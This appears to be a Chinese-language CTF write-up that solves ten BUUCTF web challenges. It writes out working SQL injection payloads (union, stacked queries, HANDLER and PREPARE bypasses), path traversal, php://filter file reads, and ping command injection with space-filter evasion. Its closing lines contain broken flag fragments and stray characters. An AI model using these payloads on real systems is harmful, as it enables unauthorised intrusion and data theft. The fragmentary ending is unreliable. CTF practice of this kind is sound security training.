1.[极客大挑战 2019]EasySQL
进入环境,发现登录框,先尝试万能密码,burp抓包
发现sql语句报错
确定是单引号闭合,payload=1’ or 1=1 --1
提交成功拿到flag
2.[极客大挑战 2019]Havefun
进入网站,一只小猫,看不出什么东西
查看网页源代码
发现提示要我们传递cat参数,参数值是dog
url处修改提交,成功拿到flag
3.[HCTF 2018]WarmUp
进入环境,一个滑稽头
查看网页源代码,提示文件source.php
拼接路径访问发现源码
先尝试访问hint.php,是假的
审计代码,传入一个file参数,先判断不为空,再判断字符,最后文件检查,满足条件
再看一下checkfile
观察函数为真情况,传入file为白名单的source.php和hint.php即可,至于?截断不需要绕可也可,因为两个true满足一个就行
payload=?file=source.php?../../../../ffffllllaaaagggg
如果不行就再尝试继续目录穿越
最后的payload=?file=source.php?../../../../../ffffllllaaaagggg
成功拿到flag
4.[ACTF2020 新生赛]Include
进入环境,发现一个点击链接
点击去url链接是
http://d2b2008f-e184-4830-90c8-9b8b47ec9fcb.node5.buuoj.cn:81/?file=flag.php
尝试伪协议payload=?file=php://filter/read=convert.base64-encode/resource=flag.php
文件被解析,说明是文件包含漏洞
base64解码,得到flag
5.[ACTF2020 新生赛]Exec
进入环境,发现是个ping命令功能
尝试命令注入,发现" ; "没有被过滤
返回上一级目录
一直到最顶层
发现flag文件,查看得到flag
6.[GXYCTF2019]Ping Ping Ping
进入环境,提示我们get传递ip参数
尝试ping本地,成功
同上题,尝试 ; 命令注入,失败,应该是被过滤了
去掉空格发现又可以了,过滤了空格 (linux命令注入绕过可看:)
尝试查看index.php,知道过滤规则
发现按顺序匹配flag,考虑有没有变量替代,最末代码有一个变量$a,将其替换为g
payload=?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
以为被过滤了,一直试,最后看了眼网页源代码,发现是注释
flag{61a
7.[SUCTF 2019]EasySQL
进入环境,发现一个提交框,题目也很明显提示sql注入,进行尝试
尝试单引号闭合说nononno
行不通,尝试看看正常输入有没有一些提示
最后没做出来,看了其他师傅题解,是来猜后端代码
首先从数字有回显,字符没有知道有一个或的操作
猜测sql语句可能是 select $_POST['query'] from flag
然后就直接用payload=*,1就得到flag,短路语句,最后得到flag
这题值得好好研究,这种黑盒猜测代码的,从语句出发
8.[极客大挑战 2019]LoveSQL
进入环境,登录框,直接先尝试单引号闭合,成功
回显我们的账户名admin,密码
没有直接回显flag,那就正常爆库操作
payload=1’ union select database() #
提示我们先找表的注入点
那么payload=1‘ order by 1#
回显账密错误,一直增大到4,sql报错
然后测试第三个字段可注入,那么就是常规爆库操作
最后得到flag
拼
、
最后-
9.[极客大挑战 2019]Secret File
进入页面,观察提示查看网页源代码
进入这个链接
发现一个点击交互,查看网页源代码
最后提示我们再看看,burp抓包看看有没有什么信息
发现302跳转有个 secr3t.php,访问看一下
分析有:flag在flag,php里,然后有个../的防目录穿越包含
那就用一下伪协议
payload=?file=php://filter/read=convert.base64-encode/resource=flag.php
文件解析,解码一下得到flag
10.[强网杯 2019]随便注
进入环境,输入数字回显是字符
尝试单引号闭合,字符注入
确定注入,且有2列
判断注入回显
payload=u' union select 1,2,database()#
返回说过滤掉了,还有过滤的规则
select被禁用,那就只能考虑堆叠注入了。
payload=1';show databases -- 1
成功注入
然后还可以通过报错注入获取当前数据库
payload=1' and (extractvalue(1,concat(database(),0x7e)));#
看表:payload=1';show tables -- 1
两个表,words和1919810931114514
分别查看有
payload=1';show columns from words -- 1
payload=1';show columns from `1919810931114514` -- 1
发现flag
解法1:骚姿势,mysql特有的handle可以打开表进行查看
payload=1';HANDLER `1919810931114514
` OPEN;HANDLER `1919810931114514
` READ FIRST;
直接拿到flag
解法2:预编译绕过
payload=1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514
` ');EXECUTE hacker;#
pinj拼se
10
最后
组
3b-58a最后
d-47f2-b7bd-ac472e05f0ce}